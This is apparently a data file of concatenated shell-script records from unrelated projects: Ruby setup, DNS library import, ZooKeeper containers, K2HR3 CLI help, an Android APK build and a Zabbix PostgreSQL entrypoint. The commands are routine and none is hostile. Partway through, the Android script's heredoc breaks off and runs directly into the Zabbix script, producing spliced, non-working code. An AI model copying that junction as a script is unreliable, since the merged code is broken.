./Documents/LICENSE\nln -s ./Documents/README.md\ngit add LICENSE\ngit add README.md\ngit commit -m \"fix symlinks after MGit clobber\""} {"text": "da99/ruby_setup\n\n# === {{CMD}} # Install latest ruby possible\n# === {{CMD}} x.x.x\ninstall () {\n if lsb_release -a | grep Void &>/dev/null ; then\n if [[ ! -z \"$@\" ]]; then\n echo \"!!! You are using a Void Linux distro.\" >&2\n echo \"!!! These args are useless: $@\" >&2\n exit 1\n fi\n\n echo \"=== Installing ruby through XBPS:\"\n sudo xbps-install -S ruby ruby-devel\n return 0\n fi\n\n if [[ -z \"$@\" ]]; then\n my_gems=/progs/ruby/my_gems\n mkdir -p \"$my_gems\"\n my_bash link \"$my_gems\" $HOME/.gem\n if ! gem list -i curses; then\n gem install --user-install curses # Needed for fzf\n fi\n\n exit 0\n fi\n\n cd /progs/ruby-build\n git pull\n\n\n case \"$(mksh_setup os-name)\" in\n \"Arch\")\n sudo pacman -S base-devel libffi libyaml openssl zlib\n ;;\n \"Ubuntu\")\n source \"$THIS_DIR/ubuntu/install.deps.sh\"\n ;;\n *)\n sh_color RED \"=== Unknown os: {{$(lsb_release -a)}}\"\n exit 1\n esac\n\n if [[ -z \"$@\" ]]; then\n my_ruby list\n echo \"=== Choose one from the top.\"\n exit 0\n fi\n\n if [[ -z \"$@\" ]]\n then\n ver=\"$(/progs/ruby-build/bin/ruby-build --definitions | grep '^[0-9]\\+\\.[0-9]\\+\\.[0-9]\\+$' | tail -n 1)\"\n else\n ver=\"$1\"\n fi\n\n if [[ -d /progs/ruby/$ver ]]; then\n echo \"=== Aborting: Already exists: /progs/ruby/$ver\"\n exit 0\n fi\n\n # ================ The Main Show ======================\n sh_color BOLD \"=== THIS IS GOING TO TAKE ABOUT {{5-10 mins}}....\"\n CONFIGURE_OPTS=\"--enable-shared --disable-install-doc\" \\\n /progs/ruby-build/bin/ruby-build $ver /progs/ruby/$ver\n # =====================================================\n\n\n echo \"=== Linking $ver as current ruby:\"\n rm -f /progs/ruby/current\n ln -s /progs/ruby/$ver /progs/ruby/current\n\n echo \"=== Updating gems:\"\n gem update --system\n gem update --no-document\n gem install bundler --no-document\n gem install bump --no-document\n gem install pry --no-document\n my_ruby gemrc_config\n\n echo \"=== Done installing.\"\n ruby -v\n} # === end function"} {"text": "aidalgol/nixpkgs\nWGET_ARGS=( https://download.kde.org/stable/maui/ -A '*-2.1.2.tar.xz' )"} {"text": "#!/bin/sh\n\n# Meant to be run from this directory\n\nif [ -d gldns ]\nthen\n\t# Import synchronised files from comparison directory\n\tfor f in gldns/*.[ch]\n\tdo\n\t\tsed -e 's/sldns_/gldns_/g' \\\n\t\t -e 's/LDNS_/GLDNS_/g' \\\n\t\t -e 's/include \"sldns/include \"gldns/g' \\\n\t\t -e 's///g' \\\n\t\t -e 's/sbuffer\\.h/gbuffer.h/g' $f > ${f#gldns/}\n\tdone\n\tmv sbuffer.h gbuffer.h\n\tmv sbuffer.c gbuffer.c\nelse\n\tsvn co https://nlnetlabs.nl/svn/unbound/trunk/sldns/\n\tfor f in ldns/*.[ch]\n\tdo\n\t\tsed -e 's/sldns_/gldns_/g' \\\n\t\t -e 's/LDNS_/GLDNS_/g' \\\n\t\t -e 's/include \"sldns/include \"gldns/g' \\\n\t\t -e 's///g' \\\n\t\t -e 's/sbuffer\\.h/gbuffer.h/g' $f > ${f#ldns/}\n\tdone\n\tmv sbuffer.h gbuffer.h\n\tmv sbuffer.c gbuffer.c\n\trm -fr sldns\nfi"} {"text": "0\n#!/bin/sh\n\nDOMAIN=node.lyon.infa.co\nNODES=\"zk1 zk2 zk3\"\nDNS_HOST=172.17.0.2\n\ncnt=0\n\ncat zoo.cfg > zoo.cfg.multi\nfor i in `echo $NODES`; do\n cnt=$((cnt + 1));\n echo server.${cnt}=${i}.${DOMAIN}:2888:3888 >> zoo.cfg.multi\ndone\n\nfor i in `echo $NODES`; do\n docker run -d --name ${i} -h ${i}.${DOMAIN} --dns=${DNS_HOST} --dns-search=${DOMAIN} -v /home/docker-data/data/${i}:/export -v ${PWD}/zoo.cfg.multi:/usr/local/zookeeper/conf/zoo.cfg zookeeper-docker:3.4.11\ndone"} {"text": "ggtakec/k2hr3_cli\n#\n# K2HR3 Utilities - Command Line Interface\n#\n# Copyright 2021 Yahoo! Japan Corporation.\n#\n# K2HR3 is K2hdkc based Resource and Roles and policy Rules, gathers\n# common management information for the cloud.\n# K2HR3 can dynamically manage information as \"who\", \"what\", \"operate\".\n# These are stored as roles, resources, policies in K2hdkc, and the\n# client system can dynamically read and modify these information.\n#\n# For the full copyright and license information, please view\n# the license file that was distributed with this source code.\n#\n# AUTHOR: \n# CREATE: Mon Feb 15 2021\n# REVISION:\n#\n\n#---------------------------------------------------------------------\n# Put Help\n#---------------------------------------------------------------------\n# [NOTE]\n# Adjust the start and end positions of the characters according to the\n# scale below, and arrange the lines.\n#\n# +-- start position(ex. title)\n# | +-- indent for description\n# | |\n# v v\n# +---+----+----+----+----+----+----+----+----+----+----+----+----|\n#\necho \"\"\necho \"K2HR3 Utilities - Command Line Interface\"\necho \"\"\necho \"The K2HR3 Command Line Interface (CLI) is a tool for manipulat-\"\necho \"ing K2HR3 data using the K2HR3 REST API.\"\necho \"All K2HR3 command line interface (CLI) programs are written in\"\necho \"shell scripts and can be ported to various operating systems.\"\necho \"\"\necho \"USAGE: ${BINNAME} \"\necho \"\"\necho \"OPTION:\"\necho \" ${K2HR3CLI_COMMON_OPT_HELP_LONG}(${K2HR3CLI_COMMON_OPT_HELP_SHORT})\"\necho \" Display help.\"\necho \" If is specified, help for that is\"\necho \" displayed.\"\necho \"\"\necho \" ${K2HR3CLI_COMMON_OPT_VERSION_LONG}(${K2HR3CLI_COMMON_OPT_VERSION_SHORT})\"\necho \" Display version information.\"\necho \"\"\necho \" ${K2HR3CLI_COMMON_OPT_CONFIG_LONG}(${K2HR3CLI_COMMON_OPT_CONFIG_SHORT})\"\necho \" Specifies the K2HR3 CLI Configuration file to load at\"\necho \" startup. If this option is not specified, the default\"\necho \" configuration file will be loaded.\"\necho \"\"\necho \" ${K2HR3CLI_COMMON_OPT_INTERACTIVE_LONG}(${K2HR3CLI_COMMON_OPT_INTERACTIVE_SHORT})\"\necho \" If this option is specified, you will be prompted\"\necho \" interactively if there are any unspecified options or\"\necho \" parameters. And this option cannot be specified with\"\necho \" --nointeractive(-ni).\"\necho \"\"\necho \" ${K2HR3CLI_COMMON_OPT_NOINTERACTIVE_LONG}(${K2HR3CLI_COMMON_OPT_NOINTERACTIVE_SHORT})\"\necho \" If it finds an unspecified required option, it will\"\necho \" make an error. This is the default behavior. And this\"\necho \" option cannot be specified with --interactive(-i).\"\necho \"\"\necho \" ${K2HR3CLI_COMMON_OPT_NODATE_LONG}(${K2HR3CLI_COMMON_OPT_NODATE_SHORT})\"\necho \" The date and time are not displayed in the output\"\necho \" message. By default, the date and time are displayed.\"\necho \"\"\necho \" ${K2HR3CLI_COMMON_OPT_NOCOLOR_LONG}(${K2HR3CLI_COMMON_OPT_NOCOLOR_SHORT})\"\necho \" Does not color the output message. By default, it is\"\necho \" colored.\"\necho \"\"\necho \" ${K2HR3CLI_COMMON_OPT_JSON_LONG}(${K2HR3CLI_COMMON_OPT_JSON_SHORT})\"\necho \" The json output of the command result is formatted and\"\necho \" displayed in an easy-to-understand manner.\"\necho \" Python json.tool is required to specify this.\"\necho \"\"\necho \" ${K2HR3CLI_COMMON_OPT_CURLDBG_LONG}(${K2HR3CLI_COMMON_OPT_CURLDBG_SHORT})\"\necho \" Specifies the verbose option when executing the curl\"\necho \" command.\"\necho \" If this option is specified, detailed information will\"\necho \" be printed to standard error.\"\necho \"\"\necho \" ${K2HR3CLI_COMMON_OPT_CURLBODY_LONG}(${K2HR3CLI_COMMON_OPT_CURLBODY_SHORT})\"\necho \" Shows the response body after executing the curl command.\"\necho \" If you specify this option, we recommend that you also\"\necho \" specify ${K2HR3CLI_COMMON_OPT_CURLDBG_LONG}(${K2HR3CLI_COMMON_OPT_CURLDBG_SHORT}).\"\necho \"\"\necho \" ${K2HR3CLI_COMMON_OPT_SAVE_LONG}(${K2HR3CLI_COMMON_OPT_SAVE_SHORT})\"\necho \" This option can be specified with the TOKEN command.\"\necho \" If this option is specified, when a (Un)Scoped Token is\"\necho \" created, variables such as these tokens and User Name,\"\necho \" etc are saved in the configuration file.\"\necho \"\"\necho \" ${K2HR3CLI_COMMON_OPT_SAVE_PASS_LONG}(${K2HR3CLI_COMMON_OPT_SAVE_PASS_SHORT})\"\necho \" This option can be specified with the TOKEN command.\"\necho \" This option must be specified with the ${K2HR3CLI_COMMON_OPT_SAVE_LONG}(${K2HR3CLI_COMMON_OPT_SAVE_SHORT})\"\necho \" option.\"\necho \" When this option is specified, the user's passphrase is\"\necho \" saved in the configuration file if the user credentials\"\necho \" are used to create a (Un)Scope Token.\"\necho \" [NOTE]\"\necho \" THIS OPTION IS NOT RECOMMENDED AS IT CAN POSE A\"\necho \" SECURITY VULNERABILITY ISSUE.\"\necho \"\"\necho \" ${K2HR3CLI_COMMON_OPT_MSGLEVEL_LONG}(${K2HR3CLI_COMMON_OPT_MSGLEVEL_SHORT})\"\necho \" This option specifies the output level of the message.\"\necho \" The following values can be specified for the optional\"\necho \" parameters.\"\necho \" silent, slt, 0 : output nothing\"\necho \" error, err, 1 : output only error\"\necho \" warning, warn, wan, 2 : more than warning\"\necho \" information, info, inf, 3 : more than information\"\necho \" debug, dbg, 4 : more than debug\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_API_URI_LONG}(${K2HR3CLI_COMMAND_OPT_API_URI_SHORT})\"\necho \" Specifies the URI to the K2HR3 REST API.\"\necho \" ex. https://127.0.0.1:3000\"\necho \" \\\"K2HR3CLI_API_URI\\\" Environment or a variable in\"\necho \" configuration file is instead of this option.\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_USER_LONG}(${K2HR3CLI_COMMAND_OPT_USER_SHORT})\"\necho \" Specifies the K2HR3 user name for credential authenti-\"\necho \" cation.\"\necho \" \\\"K2HR3CLI_USER\\\" Environment or a variable in\"\necho \" configuration file is instead of this option.\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_PASS_LONG}(${K2HR3CLI_COMMAND_OPT_PASS_SHORT})\"\necho \" Specify the K2HR3 passphrase for credential authenti-\"\necho \" cation.\"\necho \" \\\"K2HR3CLI_PASS\\\" Environment or a variable in\"\necho \" configuration file is instead of this option.\"\necho \" ${CRED}STRONGLY RECOMMENDED${CDEF} to avoid using this option to\"\necho \" prevent leakage from history etc.\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_TENANT_LONG}(${K2HR3CLI_COMMAND_OPT_TENANT_SHORT})\"\necho \" Specify the tenant(project) to get the Scoped Token.\"\necho \" \\\"K2HR3CLI_TENANT\\\" Environment or a variable in\"\necho \" configuration file is instead of this option.\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_UNSCOPED_TOKEN_LONG}(${K2HR3CLI_COMMAND_OPT_UNSCOPED_TOKEN_SHORT})\"\necho \" Specify the Unscoped Token, for example, to get the\"\necho \" Scoped Token.\"\necho \" \\\"K2HR3CLI_UNSCOPED_TOKEN\\\" Environment or a variable\"\necho \" in configuration file is instead of this option.\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_SCOPED_TOKEN_LONG}(${K2HR3CLI_COMMAND_OPT_SCOPED_TOKEN_SHORT})\"\necho \" Specify the Scoped Token required to call various APIs.\"\necho \" \\\"K2HR3CLI_SCOPED_TOKEN\\\" Environment or a variable in\"\necho \" configuration file is instead of this option.\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_OPENSTACK_TOKEN_LONG}(${K2HR3CLI_COMMAND_OPT_OPENSTACK_TOKEN_SHORT})\"\necho \" Specify the Token(Unscoped or Scoped) issued by the\"\necho \" OpenStack system to obtain the Unscoped and Scoped\"\necho \" Token.\"\necho \" \\\"K2HR3CLI_OPENSTACK_TOKEN\\\" Environment or a variable\"\necho \" in configuration file is instead of this option.\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_OIDC_TOKEN_LONG}(${K2HR3CLI_COMMAND_OPT_OIDC_TOKEN_SHORT})\"\necho \" Specify the Access Token issued by the OpenID Connect\"\necho \" sequence to obtain the Unscoped and Scoped Token for K2HR3.\"\necho \" \\\"K2HR3CLI_OIDC_TOKEN\\\" Environment or a variable in\"\necho \" configuration file is instead of this option.\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_EXPAND_LONG}\"\necho \" If specified, \\\"expand=true\\\" and expands the result.\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_POLICIES_LONG}\"\necho \" Specifies the policy path.\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_ALIAS_LONG}\"\necho \" Specifies the alias(to role/resource) path.\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_HOST_LONG}\"\necho \" Specifies the hostname(or IP address).\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_PORT_LONG}\"\necho \" Specifies the port number.\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_CUK_LONG}\"\necho \" Specifies the CUK url argument for role command.\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_EXTRA_LONG}\"\necho \" Specifies the EXTRA data url argument for role command.\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_TAG_LONG}\"\necho \" Specifies the TAG data url argument for role command.\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_EXPIRE_LONG}\"\necho \" Specifies the expire argument for role command.\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_TYPE_LONG}\"\necho \" A resource type of the resource. A valid value is\"\necho \" \\\"string\\\", \\\"object\\\", \\\"null\\\", or \\\"undefined\\\".\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_DATA_LONG}\"\necho \" A data of the resource. If the resource type is\"\necho \" \\\"string\\\", data must be a string literal. If the\"\necho \" resource type is \\\"object\\\", data must be a JSON object.\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_DATAFILE_LONG}\"\necho \" A file of the resource which type is \\\"string\\\".\"\necho \" If the data contains non-escaped characters such as\"\necho \" line breaks, you can specify it in the file.\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_KEYS_LONG}\"\necho \" A pair of a key and a value of the resource.\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_SERVICE_LONG}\"\necho \" Specifies the service name.\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_KEYNAMES_LONG}\"\necho \" Specifies the key names in resource.\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_ALIASES_LONG}\"\necho \" Specifies the alias names.\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_EFFECT_LONG}\"\necho \" Specifies the effect type for resource.\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_ACTION_LONG}\"\necho \" Specifies the action type for resource.\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_CLEAR_TENANT_LONG}\"\necho \" Specify when deleting a tenant from a service member.\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_VERIFY_LONG}\"\necho \" In the service command, specify the URL to define the\"\necho \" dynamic resource or string literal or Boolean literal.\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_CIP_LONG}\"\necho \" An IP address, which is owned by a service member and\"\necho \" the other end IP address of the service owner(a peer IP).\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_CPORT_LONG}\"\necho \" An port number, which is used to determine the K2HR3\"\necho \" ROLE name of the IP address.\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_CROLE_LONG}\"\necho \" A K2HR3 ROLE name. If a service member host is a\"\necho \" member of multiple K2HR3 ROLE, the service member\"\necho \" should pass the K2HR3 ROLE name it want to be\"\necho \" authorized.\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_CCUK_LONG}\"\necho \" This parameter is reserved for future use. Setting this\"\necho \" currently has no effect.\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_SPORT_LONG}\"\necho \" A port number of the service owner host. The IP\"\necho \" address of the service owner host is not required.\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_SROLE_LONG}\"\necho \" A role name assigned to service owner host\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_SCUK_LONG}\"\necho \" This parameter is reserved for future use.\"\necho \"\"\necho \" ${K2HR3CLI_COMMAND_OPT_OUTPUT_LONG}\"\necho \" Specify the file path to output the command result.\"\necho \" Specify this option for the K2HR3 REST API, which\"\necho \" returns a file.\"\necho \"\"\necho \" NOTE:\"\necho \" Some options can be replaced by environment variables\"\necho \" or variables can be defined in the configuration file.\"\necho \"\"\necho \"COMMAND:\"\necho \" \\\"${BINNAME} [command] ${K2HR3CLI_COMMON_OPT_HELP_LONG}(${K2HR3CLI_COMMON_OPT_HELP_SHORT})\\\" to see the usage and formatt\"\necho \" -ing details for each \\\"COMMAND\\\".\"\necho \"\"\n\n#\n# Local variables:\n# tab-width: 4\n# c-basic-offset: 4\n# End:\n# vim600: noexpandtab sw=4 ts=4 fdm=marker\n# vim<600: noexpandtab sw=4 ts=4\n#"} {"text": "10-100\n#!/bin/sh -e\n\nAPP_BINARY=${1}\nEXTRA_LIBS=${2}\nPACKAGE_SOURCE_DIR=${3}\n\necho \"build-apk configuration:\n- APP_BINARY(1)=${APP_BINARY}\n- EXTRA_LIBS(2)=${EXTRA_LIBS}\n- PACKAGE_SOURCE_DIR(3)=${PACKAGE_SOURCE_DIR}\n\n- ANDROID_NDK_ROOT=${ANDROID_NDK_ROOT}\n- ANDROID_SDK_ROOT=${ANDROID_SDK_ROOT}\n- QT_ANDROID=${QT_ANDROID}\n- ANDROID_NDK_HOST=${ANDROID_NDK_HOST}\n- ANDROID_NDK_TOOLCHAIN_ABI=${ANDROID_NDK_TOOLCHAIN_ABI}\n- ANDROID_SDK_BUILD_TOOLS=${ANDROID_SDK_BUILD_TOOLS}\n\"\n[ -f \"${APP_BINARY}\" ] || exit 1\n[ \"${EXTRA_LIBS}\" ] || exit 2\n[ \"${PACKAGE_SOURCE_DIR}\" ] || exit 3\n\n[ -d \"${ANDROID_NDK_ROOT}\" ] || exit 0\n[ -d \"${ANDROID_SDK_ROOT}\" ] || exit 0\n[ -d \"${QT_ANDROID}\" ] || exit 0\n[ \"${ANDROID_NDK_HOST}\" ] || exit 0\n[ \"${ANDROID_NDK_TOOLCHAIN_ABI}\" ] || exit 0\n[ \"${ANDROID_SDK_BUILD_TOOLS}\" ] || exit 0\n\nbuild_libs=\"android-build/libs/${ANDROID_NDK_TOOLCHAIN_ABI}\"\nmkdir -p \"${build_libs}\"\ncp -fl \"${APP_BINARY}\" \"${build_libs}\"\n\n# Create deployment json configuration\ncat > android_deployment_settings.json <'\n# (will allow for \"$MYSQL_PASSWORD_FILE\" to fill in the value of \"$MYSQL_PASSWORD\" from a file)\n# unsets the VAR_FILE afterwards and just leaving VAR\nfile_env() {\n local var=\"$1\"\n local fileVar=\"${var}_FILE\"\n local defaultValue=\"${2:-}\"\n\n if [ \"${!var:-}\" ] && [ \"${!fileVar:-}\" ]; then\n echo \"**** Both variables $var and $fileVar are set (but are exclusive)\"\n exit 1\n fi\n\n local val=\"$defaultValue\"\n\n if [ \"${!var:-}\" ]; then\n val=\"${!var}\"\n echo \"** Using ${var} variable from ENV\"\n elif [ \"${!fileVar:-}\" ]; then\n if [ ! -f \"${!fileVar}\" ]; then\n echo \"**** Secret file \\\"${!fileVar}\\\" is not found\"\n exit 1\n fi\n val=\"$(< \"${!fileVar}\")\"\n echo \"** Using ${var} variable from secret file\"\n fi\n export \"$var\"=\"$val\"\n unset \"$fileVar\"\n}\n\nescape_spec_char() {\n local var_value=$1\n\n var_value=\"${var_value//\\\\/\\\\\\\\}\"\n var_value=\"${var_value//[$'\\n']/}\"\n var_value=\"${var_value//\\//\\\\/}\"\n var_value=\"${var_value//./\\\\.}\"\n var_value=\"${var_value//\\*/\\\\*}\"\n var_value=\"${var_value//^/\\\\^}\"\n var_value=\"${var_value//\\$/\\\\\\$}\"\n var_value=\"${var_value//\\&/\\\\\\&}\"\n var_value=\"${var_value//\\[/\\\\[}\"\n var_value=\"${var_value//\\]/\\\\]}\"\n\n echo \"$var_value\"\n}\n\nupdate_config_var() {\n local config_path=$1\n local var_name=$2\n local var_value=$3\n local is_multiple=$4\n\n local masklist=(\"DBPassword TLSPSKIdentity\")\n\n if [ ! -f \"$config_path\" ]; then\n echo \"**** Configuration file '$config_path' does not exist\"\n return\n fi\n\n if [[ \" ${masklist[@]} \" =~ \" $var_name \" ]] && [ ! -z \"$var_value\" ]; then\n echo -n \"** Updating '$config_path' parameter \\\"$var_name\\\": '****'. Enable DEBUG_MODE to view value ...\"\n else\n echo -n \"** Updating '$config_path' parameter \\\"$var_name\\\": '$var_value'...\"\n fi\n\n # Remove configuration parameter definition in case of unset parameter value\n if [ -z \"$var_value\" ]; then\n sed -i -e \"/^$var_name=/d\" \"$config_path\"\n echo \"removed\"\n return\n fi\n\n # Remove value from configuration parameter in case of double quoted parameter value\n if [ \"$var_value\" == '\"\"' ]; then\n sed -i -e \"/^$var_name=/s/=.*/=/\" \"$config_path\"\n echo \"undefined\"\n return\n fi\n\n # Use full path to a file for TLS related configuration parameters\n if [[ $var_name =~ ^TLS.*File$ ]]; then\n var_value=$ZABBIX_USER_HOME_DIR/enc/$var_value\n fi\n\n # Escaping characters in parameter value and name\n var_value=$(escape_spec_char \"$var_value\")\n var_name=$(escape_spec_char \"$var_name\")\n\n if [ \"$(grep -E \"^$var_name=\" $config_path)\" ] && [ \"$is_multiple\" != \"true\" ]; then\n sed -i -e \"/^$var_name=/s/=.*/=$var_value/\" \"$config_path\"\n echo \"updated\"\n elif [ \"$(grep -Ec \"^# $var_name=\" $config_path)\" -gt 1 ]; then\n sed -i -e \"/^[#;] $var_name=$/i\\\\$var_name=$var_value\" \"$config_path\"\n echo \"added first occurrence\"\n else\n sed -i -e \"/^[#;] $var_name=/s/.*/&\\n$var_name=$var_value/\" \"$config_path\"\n echo \"added\"\n fi\n\n}\n\nupdate_config_multiple_var() {\n local config_path=$1\n local var_name=$2\n local var_value=$3\n\n var_value=\"${var_value%\\\"}\"\n var_value=\"${var_value#\\\"}\"\n\n local IFS=,\n local OPT_LIST=($var_value)\n\n for value in \"${OPT_LIST[@]}\"; do\n update_config_var $config_path $var_name $value true\n done\n}\n\n# Check prerequisites for PostgreSQL database\ncheck_variables_postgresql() {\n file_env POSTGRES_USER\n file_env POSTGRES_PASSWORD\n\n : ${DB_SERVER_HOST:=\"postgres-server\"}\n : ${DB_SERVER_PORT:=\"5432\"}\n\n DB_SERVER_ROOT_USER=${POSTGRES_USER:-\"postgres\"}\n DB_SERVER_ROOT_PASS=${POSTGRES_PASSWORD:-\"\"}\n\n DB_SERVER_ZBX_USER=${POSTGRES_USER:-\"zabbix\"}\n DB_SERVER_ZBX_PASS=${POSTGRES_PASSWORD:-\"\"}\n\n : ${DB_SERVER_SCHEMA:=\"public\"}\n\n DB_SERVER_DBNAME=${POSTGRES_DB:-\"zabbix\"}\n\n : ${POSTGRES_USE_IMPLICIT_SEARCH_PATH:=\"false\"}\n}\n\ncheck_db_connect_postgresql() {\n echo \"********************\"\n echo \"* DB_SERVER_HOST: ${DB_SERVER_HOST}\"\n echo \"* DB_SERVER_PORT: ${DB_SERVER_PORT}\"\n echo \"* DB_SERVER_DBNAME: ${DB_SERVER_DBNAME}\"\n echo \"* DB_SERVER_SCHEMA: ${DB_SERVER_SCHEMA}\"\n if [ \"${DEBUG_MODE,,}\" == \"true\" ]; then\n echo \"* DB_SERVER_ZBX_USER: ${DB_SERVER_ZBX_USER}\"\n echo \"* DB_SERVER_ZBX_PASS: ${DB_SERVER_ZBX_PASS}\"\n fi\n echo \"********************\"\n\n if [ -n \"${DB_SERVER_ZBX_PASS}\" ]; then\n export PGPASSWORD=\"${DB_SERVER_ZBX_PASS}\"\n fi\n\n WAIT_TIMEOUT=5\n\n if [ \"${POSTGRES_USE_IMPLICIT_SEARCH_PATH,,}\" == \"false\" ] && [ -n \"${DB_SERVER_SCHEMA}\" ]; then\n PGOPTIONS=\"--search_path=${DB_SERVER_SCHEMA}\"\n export PGOPTIONS\n fi\n\n if [ -n \"${ZBX_DBTLSCONNECT}\" ]; then\n export PGSSLMODE=${ZBX_DBTLSCONNECT//_/-}\n export PGSSLROOTCERT=${ZBX_DBTLSCAFILE}\n export PGSSLCERT=${ZBX_DBTLSCERTFILE}\n export PGSSLKEY=${ZBX_DBTLSKEYFILE}\n fi\n\n while true :\n do\n psql --host ${DB_SERVER_HOST} --port ${DB_SERVER_PORT} --username ${DB_SERVER_ROOT_USER} --list --quiet 1>/dev/null 2>&1 && break\n psql --host ${DB_SERVER_HOST} --port ${DB_SERVER_PORT} --username ${DB_SERVER_ROOT_USER} --list --dbname ${DB_SERVER_DBNAME} --quiet 1>/dev/null 2>&1 && break\n\n echo \"**** PostgreSQL server is not available. Waiting $WAIT_TIMEOUT seconds...\"\n sleep $WAIT_TIMEOUT\n done\n\n unset PGPASSWORD\n unset PGOPTIONS\n unset PGSSLMODE\n unset PGSSLROOTCERT\n unset PGSSLCERT\n unset PGSSLKEY\n}\n\npsql_query() {\n query=$1\n db=$2\n\n local result=\"\"\n\n if [ -n \"${DB_SERVER_ZBX_PASS}\" ]; then\n export PGPASSWORD=\"${DB_SERVER_ZBX_PASS}\"\n fi\n\n if [ \"${POSTGRES_USE_IMPLICIT_SEARCH_PATH,,}\" == \"false\" ] && [ -n \"${DB_SERVER_SCHEMA}\" ]; then\n PGOPTIONS=\"--search_path=${DB_SERVER_SCHEMA}\"\n export PGOPTIONS\n fi\n\n if [ -n \"${ZBX_DBTLSCONNECT}\" ]; then\n export PGSSLMODE=${ZBX_DBTLSCONNECT//_/-}\n export PGSSLROOTCERT=${ZBX_DBTLSCAFILE}\n export PGSSLCERT=${ZBX_DBTLSCERTFILE}\n export PGSSLKEY=${ZBX_DBTLSKEYFILE}\n fi\n\n result=$(psql --no-align --quiet --tuples-only --host \"${DB_SERVER_HOST}\" --port \"${DB_SERVER_PORT}\" \\\n --username \"${DB_SERVER_ROOT_USER}\" --command \"$query\" --dbname \"$db\" 2>/dev/null);\n\n unset PGPASSWORD\n unset PGOPTIONS\n unset PGSSLMODE\n unset PGSSLROOTCERT\n unset PGSSLCERT\n unset PGSSLKEY\n\n echo $result\n}\n\ncreate_db_database_postgresql() {\n DB_EXISTS=$(psql_query \"SELECT 1 AS result FROM pg_database WHERE datname='${DB_SERVER_DBNAME}'\" \"${DB_SERVER_DBNAME}\")\n\n if [ -z ${DB_EXISTS} ]; then\n echo \"** Database '${DB_SERVER_DBNAME}' does not exist. Creating...\"\n\n if [ -n \"${DB_SERVER_ZBX_PASS}\" ]; then\n export PGPASSWORD=\"${DB_SERVER_ZBX_PASS}\"\n fi\n\n if [ \"${POSTGRES_USE_IMPLICIT_SEARCH_PATH,,}\" == \"false\" ] && [ -n \"${DB_SERVER_SCHEMA}\" ]; then\n PGOPTIONS=\"--search_path=${DB_SERVER_SCHEMA}\"\n export PGOPTIONS\n fi\n\n if [ -n \"${ZBX_DBTLSCONNECT}\" ]; then\n export PGSSLMODE=${ZBX_DBTLSCONNECT//_/-}\n export PGSSLROOTCERT=${ZBX_DBTLSCAFILE}\n export PGSSLCERT=${ZBX_DBTLSCERTFILE}\n export PGSSLKEY=${ZBX_DBTLSKEYFILE}\n fi\n\n createdb --host \"${DB_SERVER_HOST}\" --port \"${DB_SERVER_PORT}\" --username \"${DB_SERVER_ROOT_USER}\" \\\n --owner \"${DB_SERVER_ZBX_USER}\" --lc-ctype \"en_US.utf8\" --lc-collate \"en_US.utf8\" \"${DB_SERVER_DBNAME}\"\n\n unset PGPASSWORD\n unset PGOPTIONS\n unset PGSSLMODE\n unset PGSSLROOTCERT\n unset PGSSLCERT\n unset PGSSLKEY\n else\n echo \"** Database '${DB_SERVER_DBNAME}' already exists. Please be careful with database owner!\"\n fi\n\n psql_query \"CREATE SCHEMA IF NOT EXISTS ${DB_SERVER_SCHEMA}\" \"${DB_SERVER_DBNAME}\" 1>/dev/null\n}\n\ncreate_db_schema_postgresql() {\n DBVERSION_TABLE_EXISTS=$(psql_query \"SELECT 1 FROM pg_catalog.pg_class c JOIN pg_catalog.pg_namespace n ON n.oid = \n c.relnamespace WHERE n.nspname = '$DB_SERVER_SCHEMA' AND c.relname = 'dbversion'\" \"${DB_SERVER_DBNAME}\")\n\n if [ -n \"${DBVERSION_TABLE_EXISTS}\" ]; then\n echo \"** Table '${DB_SERVER_DBNAME}.dbversion' already exists.\"\n ZBX_DB_VERSION=$(psql_query \"SELECT mandatory FROM ${DB_SERVER_SCHEMA}.dbversion\" \"${DB_SERVER_DBNAME}\")\n fi\n\n if [ -z \"${ZBX_DB_VERSION}\" ]; then\n echo \"** Creating '${DB_SERVER_DBNAME}' schema in PostgreSQL\"\n\n if [ \"${ENABLE_TIMESCALEDB,,}\" == \"true\" ]; then\n psql_query \"CREATE EXTENSION IF NOT EXISTS timescaledb CASCADE;\"\n fi\n\n if [ -n \"${DB_SERVER_ZBX_PASS}\" ]; then\n export PGPASSWORD=\"${DB_SERVER_ZBX_PASS}\"\n fi\n\n if [ \"${POSTGRES_USE_IMPLICIT_SEARCH_PATH,,}\" == \"false\" ] && [ -n \"${DB_SERVER_SCHEMA}\" ]; then\n 